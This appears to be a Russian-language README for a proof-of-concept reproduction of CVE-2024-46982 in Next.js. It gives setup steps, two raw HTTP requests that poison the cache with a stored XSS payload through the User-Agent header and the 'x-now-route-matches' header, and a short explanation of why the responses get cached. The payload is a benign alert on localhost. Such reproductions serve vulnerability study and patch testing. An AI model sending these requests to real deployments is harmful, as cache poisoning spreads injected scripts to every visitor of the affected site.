CVE-2024-46982-Reproduction

Начало работы

1. Установите Node.js LTS
2. npm install
3. npm run build
4. npm run start

Эксплуатация 1: Хранимый XSS через отравление кэша

1. Отправьте следующий HTTP-запрос (вредоносный запрос) с помощью любого HTTP-клиента.

GET /poc?__nextDataReq=1 HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Откройте http://localhost:3000 (обычный запрос) в любом веб-браузере.

Эксплуатация 2: Хранимый XSS через отравление кэша

1. Отправьте следующий HTTP-запрос (вредоносный запрос) с помощью любого HTTP-клиента, убедитесь, что заменили "UiKoKFFGnF1td3mMyeDX5" на ваш ".next/BUILD_ID"

GET /_next/data/UiKoKFFGnF1td3mMyeDX5/poc.json HTTP/1.1
Host: localhost:3000
User-Agent: <script>alert('XSS')</script>
x-now-route-matches: 1

2. Откройте http://localhost:3000 (обычный запрос) в любом веб-браузере.

Как это работает?

1. x-now-route-matches — это специальный HTTP-заголовок, распознаваемый Next.js. При его наличии Next.js обрабатывает HTTP-запрос как «SSG» (генерация статических сайтов), благодаря чему HTTP-ответ может кэшироваться (Cache-Control: s-maxage=1, stale-while-revalidate).

2. ?__nextDataReq=1 — это строка запроса, распознаваемая Next.js. При её наличии Next.js обрабатывает HTTP-запрос как «получение __NEXT_DATA__».

Полное описание можно найти в разделе Credit.

Credit